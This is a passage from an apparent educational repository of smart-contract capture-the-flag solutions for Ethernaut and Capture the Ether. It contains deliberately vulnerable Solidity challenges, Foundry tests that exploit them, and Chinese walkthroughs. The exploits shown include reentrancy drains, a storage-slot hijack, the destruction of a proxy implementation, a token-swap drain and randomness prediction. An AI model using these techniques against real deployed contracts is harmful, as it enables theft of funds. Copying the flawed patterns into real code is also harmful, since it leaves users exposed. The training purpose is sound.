entrant; 8 | 9 | modifier gateOne() { 10 | require(msg.sender != tx.origin); 11 | _; 12 | } 13 | 14 | modifier gateTwo() { 15 | // console.log(gasleft()); 16 | require(gasleft() % 8191 == 0); 17 | _; 18 | } 19 | 20 | modifier gateThree(bytes8 _gateKey) { 21 | require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); 22 | require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); 23 | require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three"); 24 | _; 25 | } 26 | 27 | function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { 28 | entrant = tx.origin; 29 | return true; 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Miscellaneous/Assume_ownership/AssumeOwnershipChallenge.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./AssumeOwnershipChallenge.sol"; 6 | 7 | contract AssumeOwnershipChallengeTest is Test { 8 | AssumeOwnershipChallenge public assumeOwnershipChallenge; 9 | address hacker = makeAddr("hacker"); 10 | 11 | function setUp() public { 12 | assumeOwnershipChallenge = new AssumeOwnershipChallenge(); 13 | } 14 | 15 | function testAssumeOwnership() public { 16 | emit log_named_string("before hack, isComplete", assumeOwnershipChallenge.isComplete() ? "true" : "false"); 17 | 18 | vm.startPrank(hacker); 19 | assumeOwnershipChallenge.AssumeOwmershipChallenge(); 20 | assumeOwnershipChallenge.authenticate(); 21 | vm.stopPrank(); 22 | 23 | emit log_named_string("after hack, isComplete", assumeOwnershipChallenge.isComplete() ? "true" : "false"); 24 | 25 | assertTrue(assumeOwnershipChallenge.isComplete()); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Accounts/Account_Takeover/AccountTakeoverChallenge.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./AccountTakeoverChallenge.sol"; 6 | 7 | contract AccountTakeoverChallengeTest is Test { 8 | AccountTakeoverChallenge public accountTakeoverChallenge; 9 | 10 | function setUp() public { 11 | accountTakeoverChallenge = new AccountTakeoverChallenge(); 12 | } 13 | 14 | function testAccountTakeover() public { 15 | emit log_named_string("before hack, isComplete", accountTakeoverChallenge.isComplete() ? "true" : "false"); 16 | 17 | uint256 privateKey = uint256(0x32e890da68f49d9be6d3642b2a1163fd8233cf995e9766a459d4cb5545913faa); 18 | vm.startBroadcast(privateKey); 19 | accountTakeoverChallenge.authenticate(); 20 | vm.stopBroadcast(); 21 | 22 | emit log_named_string("after hack, isComplete", accountTakeoverChallenge.isComplete() ? "true" : "false"); 23 | 24 | // assertTrue(AccountTakeoverChallenge.isComplete()); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /src/Ethernaut/Preservation/Preservation.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./PreservationFactory.sol"; 6 | 7 | contract PreservationTest is Test { 8 | PreservationFactory factory; 9 | 10 | function setUp() public { 11 | factory = new PreservationFactory(); 12 | } 13 | 14 | function testPreservation() public { 15 | address preservation = factory.createInstance(address(this)); 16 | 17 | address attack = address(new Attack()); 18 | 19 | Preservation(preservation).setFirstTime(uint256(uint160(attack))); 20 | Preservation(preservation).setFirstTime(uint256(uint160(address(this)))); 21 | 22 | assertTrue(factory.validateInstance(payable(address(preservation)), address(this))); 23 | } 24 | } 25 | 26 | contract Attack { 27 | address public timeZone1Library; 28 | address public timeZone2Library; 29 | address public owner; 30 | 31 | function setTime(uint256 _time) public { 32 | owner = address(uint160(_time)); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /src/Ethernaut/Re-entrancy/Reentrance.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.6.0; 3 | pragma experimental ABIEncoderV2; 4 | 5 | import "forge-std/Test.sol"; 6 | import "./ReentranceFactory.sol"; 7 | 8 | contract ReentranceTest is Test { 9 | ReentranceFactory factory; 10 | address reentrance; 11 | uint256 times; 12 | uint256 amount = 0.001 ether; 13 | 14 | function setUp() public { 15 | factory = new ReentranceFactory(); 16 | reentrance = factory.createInstance{value: amount}(address(this)); 17 | times = address(reentrance).balance / amount; 18 | } 19 | 20 | function testReentrance() public { 21 | Reentrance(payable(reentrance)).donate{value: amount}(address(this)); 22 | 23 | Reentrance(payable(reentrance)).withdraw(amount); 24 | 25 | assertTrue(factory.validateInstance(payable(address(reentrance)), address(this))); 26 | } 27 | 28 | receive() external payable { 29 | if (times-- > 0) { 30 | Reentrance(payable(reentrance)).withdraw(amount); 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /src/Ethernaut/Coin_Flip/README.md: -------------------------------------------------------------------------------- 1 | # Coin Flip 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0xA62fE5344FE62AdC1F356447B669E9E6D10abaaF) 6 | 7 | 这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。 8 | 9 | ## 运行 10 | 11 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 12 | 13 | ```sh 14 | $ cd WTF-CTF 15 | 16 | $ forge test -C src/Ethernaut/Coin_Flip -vvvvv 17 | ``` 18 | 19 | ## 功能简述 20 | 21 | 该合约中所使用的随机数算法依靠块高,而且FACTOR也为public变量。这种随机数方法对于其他合约就变成了伪随机。 22 | 23 | 我们可以在自己的合约中逆向模拟CoinFlip合约验证过程,以保证成功验证。 24 | 25 | ```solidity 26 | // 逆向计算需要输入的bool值 27 | function flip() internal view returns (bool) { 28 | uint256 blockValue = uint256(blockhash(block.number - 1)); 29 | uint256 coinFlip = blockValue / FACTOR; 30 | bool side = coinFlip == 1 ? true : false; 31 | return side; 32 | } 33 | ``` 34 | 35 | ## 建议的随机数算法 36 | 37 | 想要获得密码学上的随机数,你可以使用 [Chainlink VRF](https://docs.chain.link/docs/get-a-random-number), 它使用预言机, LINK token, 和一个链上合约来检验这是不是真的是一个随机数. 38 | 39 | 可以查看[WTF Solidity极简入门: 39. 链上随机数](https://github.com/AmazingAng/WTF-Solidity/tree/main/39_Random)教程 40 | 41 | -------------------------------------------------------------------------------- /src/Ethernaut/Dex_Two/README.md: -------------------------------------------------------------------------------- 1 | # Dex Two 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0xf59112032D54862E199626F55cFad4F8a3b0Fce9) 6 | 7 | 从`DexTwo`合约中耗尽 token1 和 token2 的所有余额才能成功通过此级别。 8 | 9 | 您仍将以 10 个标记`token1`和 10 个标记开始`token2`。DEX 合约仍然以每个代币 100 个开始。 10 | 11 | ## 运行 12 | 13 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 14 | 15 | ```sh 16 | $ cd WTF-CTF 17 | 18 | $ forge test -C src/Ethernaut/Dex_Two -vvvvv 19 | ``` 20 | 21 | ## 功能简述 22 | 23 | ```solidity 24 | // swap的价格计算 25 | // 但是Dex Two 并没有限制to/from 必须是 token1/token2 26 | ((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this))) 27 | ``` 28 | 29 | 铸造400个token3,给合约转100个token3。 30 | 31 | 我开始有10个token1,10个token2,300个token3,合约有100个token1,100个token2,100个token3。 32 | 33 | 1. 我用100个token3换100个token1,因为 (100*100)/100 = 100 。 第一次swap后,我就有110个token1,10个token2,200个token3 ;合约有0个token1,100个token2,200个token3。 34 | 2. 我用200个token3换100个token2,因为 (200*100)/200 = 100 。第二次swap后,我就有110个token1,110个token2,0个token3 ;合约有0个token1,0个token2,400个token3。 35 | 36 | 至此,经过2轮,合约中的token1与token2已经被掏空了。 -------------------------------------------------------------------------------- /src/Capture_the_Ether/Lotteries/Predict_the_block_hash/README.md: -------------------------------------------------------------------------------- 1 | # Predict the block_hash 2 | 3 | ## 题目描述 4 | 5 | [原题链接](https://capturetheether.com/challenges/lotteries/predict-the-block-hash/) 6 | 7 | 原题目要求 PredictTheBlockHashChallenge 合约里面的余额为 0。参与过程分成两步,第一步时锁定答案,第二步揭示答案。如果锁定的答案等于当前 blockhash,即可转移 2 ether 出去。 8 | 9 | ## 运行 10 | 11 | **安装 Foundry** 12 | 13 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境。 14 | 15 | **运行测试** 16 | 17 | ```sh 18 | $ cd WTF-CTF 19 | 20 | $ forge test -C src/Capture_the_Ether/Lotteries/Predict_the_block_hash -vvv 21 | ``` 22 | 23 | ## 功能简述 24 | 25 | PredictTheBlockHashChallenge 和 PredictTheFutureChallenge 很类似,但是解决思路不一样。原因在于预测一个 blockhash 的概率太小了,即使矿工也没办法,有这个能力还不如直接去预测私钥了。 26 | 27 | > `blockhash(uint blockNumber) returns (bytes32)`: hash of the given block when `blocknumber` is one of the 256 most recent blocks; otherwise returns zero. 28 | 29 | -- from [Block and Transaction Properties](https://docs.soliditylang.org/en/develop/units-and-global-variables.html#block-and-transaction-properties) 30 | 31 | 解决思路是,我们 lockInGuess 并转入一个 ether 时,我们将 hash 设置为 zero,然后 过了 257 个块再调用 settle。 32 | -------------------------------------------------------------------------------- /src/Ethernaut/Coin_Flip/CoinFlip.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./CoinFlipFactory.sol"; 6 | 7 | contract CoinFlipTest is Test { 8 | CoinFlipFactory factory; 9 | 10 | uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; 11 | 12 | function setUp() public { 13 | factory = new CoinFlipFactory(); 14 | } 15 | 16 | function flip() internal view returns (bool) { 17 | uint256 blockValue = uint256(blockhash(block.number - 1)); 18 | uint256 coinFlip = blockValue / FACTOR; 19 | bool side = coinFlip == 1 ? true : false; 20 | return side; 21 | } 22 | 23 | function testCoinFlip() public { 24 | address coinFlip = factory.createInstance(address(this)); 25 | 26 | for (uint256 i = 0; i < 10; i++) { 27 | CoinFlip(coinFlip).flip(flip()); 28 | 29 | vm.roll(block.number + 1); 30 | } 31 | 32 | assertTrue(factory.validateInstance(payable(address(coinFlip)), address(this))); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /src/Ethernaut/Good_Samaritan/README.md: -------------------------------------------------------------------------------- 1 | # Good Samaritan 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x36E92B2751F260D6a4749d7CA58247E7f8198284) 6 | 7 | 将wallet合约中的Coin代币余额清零。 8 | 9 | ## 运行 10 | 11 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 12 | 13 | ```sh 14 | $ cd WTF-CTF 15 | 16 | $ forge test -C src/Ethernaut/Good_Samaritan -vvvvv 17 | ``` 18 | 19 | ## 功能简述 20 | 21 | 题目说我们要掏空`Wallet`中的`Coin` 22 | 23 | 1. 重入攻击 24 | 25 | 合约中的`requestDonation`函数没有检查重入攻击,一次请求10个,一共10**6个。怕是要花不少Gas。 26 | 27 | 2. 当`Wallet`合约中`Coin`余额不足10时,会触发`transferRemainder`将剩余所有`Coin`转移给请求者。 28 | 29 | 而触发`transferRemainder`的条件是`GoodSamaritan`合约检测到`NotEnoughBalance()`错误。 30 | 31 | 但`GoodSamaritan`合约却无法知道这个`NotEnoughBalance()`错误是谁发出的。 32 | 33 | `Coin`代币在`transfer`时会检测接受地址是否为合约地址,如果是合约地址,会进行`notify`接口调用。 34 | 35 | 所以我们可以写攻击合约,在攻击合约接受`Coin`代币时发出`NotEnoughBalance()`错误。让`GoodSamaritan`合约将`Wallet`合约中的所有`Coin`转给我们。 36 | 37 | ```solidity 38 | function notify(uint256 amount) public pure { 39 | if (amount == 10) { 40 | revert NotEnoughBalance(); 41 | } 42 | } 43 | ``` 44 | 45 | -------------------------------------------------------------------------------- /src/Ethernaut/Gatekeeper_Two/GatekeeperTwo.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.0; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./GatekeeperTwoFactory.sol"; 6 | 7 | contract GatekeeperOneTest is Test { 8 | GatekeeperTwoFactory factory; 9 | 10 | function setUp() public { 11 | factory = new GatekeeperTwoFactory(); 12 | } 13 | 14 | function testGatekeeperTwo() public { 15 | address player = vm.addr(uint256(keccak256("player"))); 16 | 17 | vm.startPrank(address(this), player); 18 | 19 | { 20 | address gatekeeperTwo = factory.createInstance(player); 21 | 22 | new GatebreakerTwo(gatekeeperTwo); 23 | 24 | assertTrue(factory.validateInstance(payable(address(gatekeeperTwo)), player)); 25 | } 26 | 27 | vm.stopPrank(); 28 | } 29 | } 30 | 31 | contract GatebreakerTwo { 32 | constructor(address gatekeeperTwo) { 33 | uint64 _gateKey = type(uint64).max ^ uint64(bytes8(keccak256(abi.encodePacked(address(this))))); 34 | GatekeeperTwo(gatekeeperTwo).enter(bytes8(_gateKey)); 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Lotteries/Guess_the_new_number/Attacker.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | contract Attacker { 5 | address owner; 6 | 7 | error NotOwner(); 8 | error ValueErr(); 9 | error GuessErr(); 10 | 11 | constructor() { 12 | owner = msg.sender; 13 | } 14 | 15 | function attack(address _challenge) public payable { 16 | if (msg.sender != owner) revert NotOwner(); 17 | if (msg.value != 1 ether) revert ValueErr(); 18 | 19 | IGuessTheNewNumberChallenge challenge = IGuessTheNewNumberChallenge(_challenge); 20 | uint8 answer = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))); 21 | challenge.guess{value: 1 ether}(answer); 22 | 23 | if (!challenge.isComplete()) revert GuessErr(); 24 | 25 | payable(msg.sender).transfer(address(this).balance); 26 | } 27 | 28 | receive() external payable {} 29 | } 30 | 31 | interface IGuessTheNewNumberChallenge { 32 | function guess(uint8 n) external payable; 33 | function isComplete() external view returns (bool); 34 | } 35 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 WTF.Academy 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Accounts/Fuzzy_identity/FuzzyIdentityChallenge.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | interface IName { 5 | function name() external view returns (bytes32); 6 | } 7 | 8 | contract FuzzyIdentityChallenge { 9 | bool public isComplete; 10 | 11 | function authenticate() public { 12 | require(isSmarx(msg.sender)); 13 | require(isBadCode(msg.sender)); 14 | 15 | isComplete = true; 16 | } 17 | 18 | function isSmarx(address addr) internal view returns (bool) { 19 | return IName(addr).name() == bytes32("smarx"); 20 | } 21 | 22 | function isBadCode(address _addr) internal pure returns (bool) { 23 | bytes20 addr = bytes20(_addr); 24 | bytes20 id = hex"000000000000000000000000000000000badc0de"; 25 | bytes20 mask = hex"000000000000000000000000000000000fffffff"; 26 | 27 | for (uint256 i = 0; i < 34; i++) { 28 | if (addr & mask == id) { 29 | return true; 30 | } 31 | mask <<= 4; 32 | id <<= 4; 33 | } 34 | 35 | return false; 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Lotteries/Predict_the_block_hash/PredictTheBlockHashChallenge.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | contract PredictTheBlockHashChallenge { 5 | address guesser; 6 | bytes32 guess; 7 | uint256 settlementBlockNumber; 8 | 9 | constructor() payable { 10 | require(msg.value == 1 ether); 11 | } 12 | 13 | function isComplete() public view returns (bool) { 14 | return address(this).balance == 0; 15 | } 16 | 17 | function lockInGuess(bytes32 hash) public payable { 18 | require(guesser == address(0)); 19 | require(msg.value == 1 ether); 20 | 21 | guesser = msg.sender; 22 | guess = hash; 23 | settlementBlockNumber = block.number + 1; 24 | } 25 | 26 | function settle() public { 27 | require(msg.sender == guesser); 28 | require(block.number > settlementBlockNumber); 29 | 30 | bytes32 answer = blockhash(settlementBlockNumber); 31 | 32 | guesser = address(0); 33 | if (guess == answer) { 34 | payable(msg.sender).transfer(2 ether); 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/Ethernaut/Stake/Stake.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity 0.8.25; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./StakeFactory.sol"; 6 | import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; 7 | 8 | contract StakeTest is Test { 9 | StakeFactory factory; 10 | Stake stakeInstance; 11 | 12 | function setUp() public { 13 | factory = new StakeFactory(); 14 | stakeInstance = Stake(factory.createInstance(address(this))); 15 | } 16 | 17 | function testStake() public { 18 | new Deal{value: 0.0011 ether + 1}(stakeInstance); 19 | 20 | ERC20 WETH = ERC20(stakeInstance.WETH()); 21 | WETH.approve(address(stakeInstance), type(uint256).max); 22 | uint256 amount = 0.0011 ether; 23 | stakeInstance.StakeWETH(amount); 24 | stakeInstance.Unstake(amount); 25 | 26 | assertTrue(factory.validateInstance(payable(address(stakeInstance)), address(this))); 27 | } 28 | 29 | receive() external payable {} 30 | } 31 | 32 | contract Deal { 33 | constructor(Stake stake) payable { 34 | stake.StakeETH{value: msg.value}(); 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /src/Ethernaut/Motorbike/Motorbike.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity <0.7.0; 4 | pragma experimental ABIEncoderV2; 5 | 6 | import "forge-std/Test.sol"; 7 | import "./MotorbikeFactory.sol"; 8 | 9 | contract MotorbikeTest is Test { 10 | MotorbikeFactory factory; 11 | address motorbike; 12 | address engine; 13 | 14 | bytes32 constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; 15 | 16 | function setUp() public { 17 | factory = new MotorbikeFactory(); 18 | 19 | motorbike = factory.createInstance(address(this)); 20 | engine = address(uint160(uint256(vm.load(motorbike, _IMPLEMENTATION_SLOT)))); 21 | 22 | Engine(engine).initialize(); 23 | 24 | Engine(engine).upgradeToAndCall(address(this), abi.encodeWithSignature("done()")); 25 | } 26 | 27 | function done() public { 28 | selfdestruct(address(0)); 29 | } 30 | 31 | function testMotorbike() public { 32 | assertTrue(!Address.isContract(engine)); 33 | assertTrue(factory.validateInstance(payable(motorbike), address(this))); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Miscellaneous/Token_bank/README.md: -------------------------------------------------------------------------------- 1 | # Token bank 2 | 3 | ## 题目描述 4 | 5 | [原题链接](https://capturetheether.com/challenges/miscellaneous/token-bank/) 6 | 7 | 原题目要求 TokenBankChallenge 合约的 token balance 为 0。 8 | 9 | ## 运行 10 | 11 | **安装 Foundry** 12 | 13 | 根据 [Foundry 官方文档](https://getfoundry.sh/)配置好运行环境。 14 | 15 | **运行测试** 16 | 17 | ```sh 18 | $ cd WTF-CTF 19 | 20 | $ forge test -C src/Capture_the_Ether/Miscellaneous/Token_bank -vvv 21 | ``` 22 | 23 | ## 功能简述 24 | 25 | 为了能够复现 Challenge,在不改变原题意下,将 TokenBankChallenge 里面的withdraw 某行增加 unchecked。 26 | 27 | 解决思路是 withdraw 里面的 balanceOf 的减少是在 transfer 之后,因此我们可以 re-entrancy,在 transfer 的时候转多笔。 28 | 29 | ```solidity 30 | require(token.transfer(msg.sender, amount)); 31 | unchecked { 32 | balanceOf[msg.sender] -= amount; 33 | } 34 | ``` 35 | 36 | 新建一个 Attacker 合约,作为 Player,先从 TokenBankChallenge 里面提取 token,然后转给 Attacker。 37 | 38 | Player 调用 Attacker 的 deposit,再把 token 从 Attacker 存入 TokenBankChallenge。 39 | 40 | Player 调用 Attacker 的 withdraw,将 token 转给自己,然后 token 会调用 Attacker 的 tokenFallback,我们在这里再次调用 TokenBankChallenge 的 withdraw。即可将 TokenBankChallenge 的 token 余额转走。 -------------------------------------------------------------------------------- /src/Capture_the_Ether/Math/Donation/DonationChallenge.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.4.21; 3 | 4 | contract DonationChallenge { 5 | struct Donation { 6 | uint256 timestamp; 7 | uint256 etherAmount; 8 | } 9 | 10 | Donation[] public donations; 11 | 12 | address public owner; 13 | 14 | constructor() public payable { 15 | require(msg.value == 1 ether); 16 | 17 | owner = msg.sender; 18 | } 19 | 20 | function isComplete() public view returns (bool) { 21 | return address(this).balance == 0; 22 | } 23 | 24 | function donate(uint256 etherAmount) public payable { 25 | // amount is in ether, but msg.value is in wei 26 | uint256 scale = 10 ** 18 * 1 ether; 27 | require(msg.value == etherAmount / scale); 28 | 29 | Donation donation; 30 | donation.timestamp = now; 31 | donation.etherAmount = etherAmount; 32 | 33 | donations.push(donation); 34 | } 35 | 36 | function withdraw() public { 37 | require(msg.sender == owner); 38 | 39 | msg.sender.transfer(address(this).balance); 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /src/Ethernaut/Fallback/Fallback.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract Fallback { 5 | mapping(address => uint256) public contributions; 6 | address public owner; 7 | 8 | constructor() { 9 | owner = msg.sender; 10 | contributions[msg.sender] = 1000 * (1 ether); 11 | } 12 | 13 | modifier onlyOwner() { 14 | require(msg.sender == owner, "caller is not the owner"); 15 | _; 16 | } 17 | 18 | function contribute() public payable { 19 | require(msg.value < 0.001 ether); 20 | contributions[msg.sender] += msg.value; 21 | if (contributions[msg.sender] > contributions[owner]) { 22 | owner = msg.sender; 23 | } 24 | } 25 | 26 | function getContribution() public view returns (uint256) { 27 | return contributions[msg.sender]; 28 | } 29 | 30 | function withdraw() public onlyOwner { 31 | payable(owner).transfer(address(this).balance); 32 | } 33 | 34 | receive() external payable { 35 | require(msg.value > 0 && contributions[msg.sender] > 0); 36 | owner = msg.sender; 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /src/Ethernaut/Hello_Ethernaut/README.md: -------------------------------------------------------------------------------- 1 | # Hello Ethernaut 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0x7E0f53981657345B31C59aC44e9c21631Ce710c7) 6 | 7 | 本题目是Ethernaut的新手村教程,让玩家熟悉如何通过浏览器的控制台解决问题。 8 | 9 | 但本仓库使用Foundry框架,主要提供解题思路,不拘泥于形式。 10 | 11 | ## 运行 12 | 13 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 14 | 15 | ```sh 16 | $ cd WTF-CTF 17 | 18 | $ forge test -C src/Ethernaut/Hello_Ethernaut -vvvvv 19 | ``` 20 | 21 | ## 功能简述 22 | 23 | 题目引导我们如何完成一道题目的完整解题过程。 24 | 25 | 首先创建实例,在本仓库中就是通过工厂合约创建出一个题目。即调用`createInstance()`方法。 26 | 27 | ```solidity 28 | // createInstance 创建题目实例 29 | 30 | // _player 玩家地址,在本仓库中有时是测试合约地址,有时是玩家自己的EOA地址,已解决不同的题目,如果都可以时,默认是测试合约地址。 31 | 32 | function createInstance(address _player) public payable override returns (address) 33 | ``` 34 | 35 | 然后题目让我们调用`info()`,然后根据合约的返回值调用其他方法... 36 | 37 | 最后提交实例,以判断是否完成解题,即调用工厂合约的`validateInstance()`方法。 38 | 39 | ```solidity 40 | // validateInstance 验证题目是否完成 41 | 42 | // _instance 创建的实例题目地址 43 | // _player 题目的玩家地址 44 | 45 | function validateInstance(address payable _instance, address _player) public view override returns (bool) 46 | ``` 47 | 48 | -------------------------------------------------------------------------------- /src/Capture_the_Ether/Lotteries/Predict_the_future/PredictTheFutureChallenge.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | contract PredictTheFutureChallenge { 5 | address guesser; 6 | uint8 guess; 7 | uint256 settlementBlockNumber; 8 | 9 | constructor() payable { 10 | require(msg.value == 1 ether); 11 | } 12 | 13 | function isComplete() public view returns (bool) { 14 | return address(this).balance == 0; 15 | } 16 | 17 | function lockInGuess(uint8 n) public payable { 18 | require(guesser == address(0)); 19 | require(msg.value == 1 ether); 20 | 21 | guesser = msg.sender; 22 | guess = n; 23 | settlementBlockNumber = block.number + 1; 24 | } 25 | 26 | function settle() public { 27 | require(msg.sender == guesser); 28 | require(block.number > settlementBlockNumber); 29 | 30 | uint8 answer = uint8(uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)))) % 10; 31 | 32 | guesser = address(0); 33 | if (guess == answer) { 34 | payable(msg.sender).transfer(2 ether); 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /src/Ethernaut/Stake/README.md: -------------------------------------------------------------------------------- 1 | # Stake 2 | 3 | ## 题目描述 4 | 5 | [原题 in Sepolia](https://ethernaut.openzeppelin.com/level/0xB99f27b94fCc8b9b6fF88e29E1741422DFC06224) 6 | 7 | 需要达成4个条件 8 | 9 | - `Stake` 合约的ETH余额必须大于0。 10 | - `totalStaked` 必须大于 `Stake` 合约的 ETH 余额。 11 | - 我们的账户地址必须为质押者。 12 | - 我们质押的余额必须为 0。 13 | 14 | ## 运行 15 | 16 | 根据[Foundry 官方文档](https://getfoundry.sh/)配置好运行环境后,于本项目下执行下列命令: 17 | 18 | ```sh 19 | $ cd WTF-CTF 20 | 21 | $ forge test -C src/Ethernaut/Stake -vvvvv 22 | ``` 23 | 24 | ## 功能简述 25 | 26 | `Stake`合约接受两种资产的质押,`ETH`和`WETH`。虽然两种资产在价值上是1:1等价的。但是`WETH`是`ETH链`原生代币的`ERC20`包装的版本(具体信息可以查看WTF-Solidity的[41节WETH](https://github.com/AmazingAng/WTF-Solidity/blob/main/41_WETH/readme.md))。 27 | 28 | 但是`Stake`合约中将`ETH`和`WETH`混为一谈。如果我们质押的是`WETH`,提取的却是`ETH`(`Stake`合约并没有将 `WETH`兑换为`ETH`,`Stake`合约某种程度上成为了`ETH`/`WETH`交易对)。 29 | 30 | 所以,我们质押`WETH`,提取`ETH`。就可以把`Stake`合约的`ETH`全部提取出来。 31 | 32 | 而且,`Stake`合约在转移质押者的`WETH`代币时,并没有判断转移交易是否成功,所以,我们只需要在`WETH`代币中对`Stake`合约进行授权就好,我们实际有没有`WETH`代币并不重要。 33 | 34 | 先质押`WETH`,在提取`ETH`,就可以把我们的质押余额清零。 35 | 36 | 题目的其他两个条件 37 | 38 | - `Stake` 合约的ETH余额必须大于0。 39 | - `totalStaked` 必须大于 `Stake` 合约的 ETH 余额。 40 | 41 | 我们只需不提取完其他账户质押的ETH就好(为了完成题目,我们也可以切换个地址进行质押)。 -------------------------------------------------------------------------------- /src/Capture_the_Ether/Lotteries/Guess_the_number/GuessTheNumberChallenge.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.19; 3 | 4 | import "forge-std/Test.sol"; 5 | import "./GuessTheNumberChallenge.sol"; 6 | 7 | contract GuessTheNumberChallengeTest is Test { 8 | GuessTheNumberChallenge public guessTheNumberChallenge; 9 | address hacker = makeAddr("hacker"); 10 | 11 | function setUp() public { 12 | payable(hacker).transfer(1 ether); 13 | 14 | guessTheNumberChallenge = new GuessTheNumberChallenge{value: 1 ether}(); 15 | } 16 | 17 | function testGuessTheNumber() public { 18 | emit log_named_uint("my balance", hacker.balance); 19 | emit log_named_uint("guessTheNumberChallenge's balance", address(guessTheNumberChallenge).balance); 20 | 21 | vm.startPrank(hacker); 22 | guessTheNumberChallenge.guess{value: 1 ether}(42); 23 | vm.stopPrank(); 24 | 25 | emit log_named_uint("my new balance", hacker.balance); 26 | emit log_named_uint("guessTheNumberChallenge's new balance", address(guessTheNumberChallenge).balance); 27 | 28 | assertTrue(guessTheNumberChallenge.isComplete()); 29 | } 30 